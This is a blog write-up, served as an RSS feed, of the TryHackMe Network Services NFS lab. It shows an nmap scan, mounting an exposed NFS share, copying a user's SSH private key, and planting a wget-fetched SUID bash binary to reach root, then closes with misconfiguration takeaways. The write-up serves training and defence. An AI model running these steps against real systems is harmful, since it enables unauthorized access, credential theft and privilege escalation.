<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Michael Muratov</title><link>https://michaelmuratov.com/tags/privilege-escalation/</link><description>Recent content on Michael Muratov</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sat, 12 Oct 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://michaelmuratov.com/tags/privilege-escalation/index.xml" rel="self" type="application/rss+xml"/><item><title>TryHackMe - NFS</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</link><pubDate>Sat, 12 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 THM Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 THM Network Services Room</a></p>
      </div>
  </div><h3 id="gaining-access-through-nfs">Gaining Access Through NFS</h3>
<h4 id="initial-reconnaissance">Initial Reconnaissance</h4>
<p>The first step to Network File System (NFS) exploitation is identifying an exposed NFS share on the target machine. A public NFS share might have insufficient access controls, allowing unauthorized mounting from a remote location. This gives us an initial vector to compromise the vulnerable server.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 1</span><span>root@ip-10-10-71-105:~# <span style="color:#f5e0dc">IP</span><span style="color:#89dceb;font-weight:bold">=</span>10.10.190.97
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 2</span><span>root@ip-10-10-71-105:~# nmap -sS -T4 -F -oN output.txt <span style="color:#f5e0dc">$IP</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 3</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 4</span><span>PORT      STATE SERVICE  VERSION
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 5</span><span>22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span style="color:#89dceb;font-weight:bold">(</span>Ubuntu Linux; protocol 2.0<span style="color:#89dceb;font-weight:bold">)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 6</span><span>111/tcp   open  rpcbind  2-4 <span style="color:#89dceb;font-weight:bold">(</span>RPC <span style="color:#6c7086;font-style:italic">#100000)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 7</span><span>2049/tcp  open  nfs_acl  <span style="color:#fab387">3</span> <span style="color:#89dceb;font-weight:bold">(</span>RPC <span style="color:#6c7086;font-style:italic">#100227)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 8</span><span>32969/tcp open  mountd   1-3 <span style="color:#89dceb;font-weight:bold">(</span>RPC <span style="color:#6c7086;font-style:italic">#100005)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c"> 9</span><span>33463/tcp open  mountd   1-3 <span style="color:#89dceb;font-weight:bold">(</span>RPC <span style="color:#6c7086;font-style:italic">#100005)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">10</span><span>38233/tcp open  nlockmgr 1-4 <span style="color:#89dceb;font-weight:bold">(</span>RPC <span style="color:#6c7086;font-style:italic">#100021)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">11</span><span>43597/tcp open  mountd   1-3 <span style="color:#89dceb;font-weight:bold">(</span>RPC <span style="color:#6c7086;font-style:italic">#100005)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">12</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">13</span><span>MAC Address: 02:AE:30:CF:78:25 <span style="color:#89dceb;font-weight:bold">(</span>Unknown<span style="color:#89dceb;font-weight:bold">)</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">14</span><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">15</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">16</span><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">17</span><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">18</span><span>Nmap <span style="color:#cba6f7">done</span>: <span style="color:#fab387">1</span> IP address <span style="color:#89dceb;font-weight:bold">(</span><span style="color:#fab387">1</span> host up<span style="color:#89dceb;font-weight:bold">)</span> scanned in 75.34 seconds
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">19</span><span>        Raw packets sent: <span style="color:#fab387">128591</span> <span style="color:#89dceb;font-weight:bold">(</span>5.658MB<span style="color:#89dceb;font-weight:bold">)</span> | Rcvd: <span style="color:#fab387">128591</span> <span style="color:#89dceb;font-weight:bold">(</span>5.144MB<span style="color:#89dceb;font-weight:bold">)</span></span></span></code></pre></div>
<h4 id="mounting-the-shared-drive">Mounting the Shared Drive</h4>
<p>Remotely mounting the server&rsquo;s NFS share from our attacker machine gains us access to the server&rsquo;s file system, with its directories and files accessible directly on our device. This allows us to explore the server&rsquo;s file system, exfiltrate files from the server onto our device and upload our files to the server. These actions will let us grab private information and load malicious files onto the server to further our attack.</p>






<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">1</span><span>root@ip-10-10-71-105:~# sudo mount -t nfs <span style="color:#f5e0dc">$IP</span>:home /tmp/mount/ -nolock</span></span></code></pre></div>
<p><img src="mounting_nfs.png" alt="image"></p>
<h4 id="ssh-key-extraction">SSH Key Extraction</h4>
<p>Navigating to the .ssh directory of a remote user on the mounted NFS share we found the user&rsquo;s SSH private key, which should never be stored on the server itself and should be securely stored on a trusted user machine. Should the server be breached through a vulnerability, the attacker can create a persistent method of entry using the stored private key to pose as a trusted user on future login attempts.</p>






<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">1</span><span>root@ip-10-10-71-105:~# <span style="color:#89dceb">cd</span> /tmp/mount/cappucino/.ssh
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">2</span><span>root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cp id_rsa ~
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">3</span><span>root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# <span style="color:#89dceb">cd</span> ~
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">4</span><span>root@ip-10-10-71-105:~# chmod <span style="color:#fab387">600</span> id_rsa
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">5</span><span>root@ip-10-10-71-105:~# cp id_rsa /<span style="color:#f5e0dc">$local_folder</span></span></span></code></pre></div>
<p><img src="privatekey_transfer.png" alt="image"></p>
<h4 id="ssh-login-with-stolen-key">SSH Login with Stolen Key</h4>
<p>After locating an SSH private key, it is simple to extract it using the NFS server by copying it from the shared drive to a local directory on the attack box. This file allows us to authenticate and gain access to the remote user&rsquo;s account through SSH, giving us direct access to a user account on the server.</p>






<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">1</span><span>root@ip-10-10-71-105:~# ssh -i id_rsa cappucino@<span style="color:#f5e0dc">$IP</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>At this point the victim server has been compromised and we&rsquo;ve established a foothold in their infrastructure. Our next steps will involve escalating privileges and gaining persistence on the host to further cement our control.</p>
      </div>
  </div><h3 id="super-user-privilege-escalation-via-suid-exploit">Super User Privilege Escalation via SUID Exploit</h3>
<h4 id="uploading-malicious-script">Uploading Malicious Script</h4>
<p>Since we have 2 way connection, we can now upload anything we want to the server through the shared drive connection. We will upload a simple bash executable which we will use to escalate privileges and gain super user access on the server.</p>






<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">1</span><span>root@ip-10-10-71-105:/tmp/mount/cappucino# wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash</span></span></code></pre></div>
<h4 id="suid-permission-modification">SUID Permission Modification</h4>
<p>After placing the script on the target machine we can set its SUID (Set User ID) bit. This allowed the script to run with elevated (root) privileges, regardless of the user executing it.</p>






<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">1</span><span>root@ip-10-10-71-105:/tmp/mount/cappucino# sudo chmod +sx bash
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">2</span><span>root@ip-10-10-71-105:/tmp/mount/cappucino# ls -la bash
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">3</span><span>    -rwsr-sr-x <span style="color:#fab387">1</span> root root <span style="color:#fab387">1113504</span> Oct  <span style="color:#fab387">4</span> 04:42 bash</span></span></code></pre></div>
<p><img src="bash_transfer.png" alt="image"></p>
<h4 id="escalating-to-superuser-privileges">Escalating to Superuser Privileges</h4>
<p>Executed the modified SUID script to escalate privileges from the standard user to the superuser (root). This provided full control over the target system.</p>






<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">1</span><span>cappucino@polonfs:~$ ./bash -p
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">2</span><span>bash-4.4# whoami
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f849c">3</span><span>&gt; root</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>Now we have complete control over the victim server with super user access. Our next steps would be to establish persistence and scan for other devices on the network to initiate lateral movement.</p>
      </div>
  </div><h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>NFS Security Misconfigurations</strong>:
Exposed NFS shares without proper access controls can be a critical vulnerability, allowing unauthorized mounting and file access.</p>
</li>
<li>
<p><strong>SUID Misconfigurations</strong>:
SUID permissions on scripts and binaries can be exploited to gain elevated privileges, especially if the target does not enforce proper file permissions.</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>